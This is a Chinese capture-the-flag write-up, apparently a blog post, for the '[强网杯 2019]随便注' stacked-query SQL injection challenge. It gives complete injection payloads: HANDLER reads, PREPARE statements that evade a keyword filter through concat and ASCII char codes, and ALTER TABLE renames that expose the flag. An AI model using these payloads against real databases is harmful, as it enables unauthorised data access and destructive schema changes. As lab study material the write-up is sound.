BUUCTF之[强网杯 2019]随便注 -------堆叠查询

12 篇文章 0 订阅
10 篇文章 0 订阅

BUUCTF之[强网杯 2019]随便注 -------堆叠查询

题目
在这里插入图片描述
一开始以为这个是简单的SQL注入,结果是堆叠查询。。。。
关于堆叠查询有几个要记的知识点:

  1. show databases; //显示所有数据库
  2. show tables; // 显示所有表名
  3. show columns from 【表名】; // 显示对应表名里列的信息
  4. desc 【表名】; // 显示详细的表名信息

在这里插入图片描述
在这里插入图片描述
·
注意这里的表名需要用到反单引号,即`1919810931114514`。这个应该是和数据库的表名有关系
在这里插入图片描述

·
·
对了,还有一点忘记说。这里过滤了的关键词有这些:select,update,delete,drop,insert,where。并且是不区分大小写的。
在这里插入图片描述

`
`
解题思路一:
MySQL中查询语句handler:

  1. handler 【表名】 open; // 打开某个表
  2. handler 【表名】 read first || next; // 读取表里第一行或者下一行的数据
  3. handler 【表名】 close; // 关闭该表

由于flag是在`1919810931114514`这个表里(注意这里的反单引号是必须加的`),所以步骤是:

handler `1919810931114514` open;
handler `1919810931114514` read first;
handler `1919810931114514` close;

在这里插入图片描述

·
·
解题思路二:
基本步骤为:

  1. PREPARE 【自定义名】 FROM 【自定义的SQL查询语句】;
  2. EXECUTE 【自定义名】;
  3. DEALLOCATE PREPARE 【自定义名】;

所以这里的查询语句可以为:

PREPARE Hack_SQL FROM select flag from `1919810931114514`;
EXECUTE  Hack_SQL ;
DEALLOCATE  PREPARE Hack_SQL;

但是很可惜,这里的select被过滤了。所以需要换一下思路!在这里插入图片描述

PREPARE Hack_SQL from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;

或者

PREPARE Hack_SQL from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`');
EXECUTE Hack_SQL;
DEALLOCATE PREPARE Hack_SQL;#

其中这里的115,101,108,101,99,116转换为ascii码就是select

十进制数Ascii码
97a
98b
99c
100d
101e
102f
103g
104h
105i
106j
107k
108l
109m
110n
111o
112p
113q
114r
115s
116t
117u
118v
119w
120x
121y
122z

解题思路三:
由于前端提供查询的数据库为words,但是flag在数据库1919810931114514里。并且可以猜测后台的SQL查询语句为:select * from words where id=【你输入的id】

  1. 所以我们需要先将数据库words改成其它的数据库名
  2. 再把数据库1919810931114514改名为words
  3. 并且把(改名前)1919810931114514数据库的字段flag改名成id

所以这里的payload可以为:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);

在这里插入图片描述

总结:
之前做CTF看到Handler和Prepare这两种的解法的时候,就想着这些MySQL的术语我根本不会啊啊啊啊!接下来该怎么学啊。但是后来堆叠查询见的多,Handler和Prepare也见了好几次。就不再觉得那么陌生了,然后就慢慢学会这种解题方法了。。。

至于解题三,那个其实是在网上看到别人的WP才知道。大佬果然是大佬,,,,

参考链接

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值